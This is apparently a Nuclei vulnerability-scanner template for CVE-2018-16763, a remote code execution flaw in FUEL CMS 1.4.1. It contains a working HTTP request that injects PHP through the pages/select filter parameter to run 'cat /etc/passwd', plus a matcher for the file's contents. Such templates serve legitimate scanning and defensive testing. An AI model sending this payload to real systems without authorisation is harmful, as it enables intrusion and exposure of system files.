id: CVE-2018-16763

info:
  name: fuelCMS 1.4.1 - Remote Code Execution
  author: pikpikcu
  severity: critical
  tags: cve,cve2018,fuelcms,rce
  reference:
    - https://www.exploit-db.com/exploits/47138
    - https://www.getfuelcms.com/ # Vendor Homepage
    - https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1 # Software Link
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2018-16763
    cwe-id: CWE-74
  description: "FUEL CMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution."

requests:
  - raw:
      - |
        GET /fuel/pages/select/?filter=%27%2bpi(print(%24a%3d%27system%27))%2b%24a(%27cat%20/etc/passwd%27)%2b%27 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"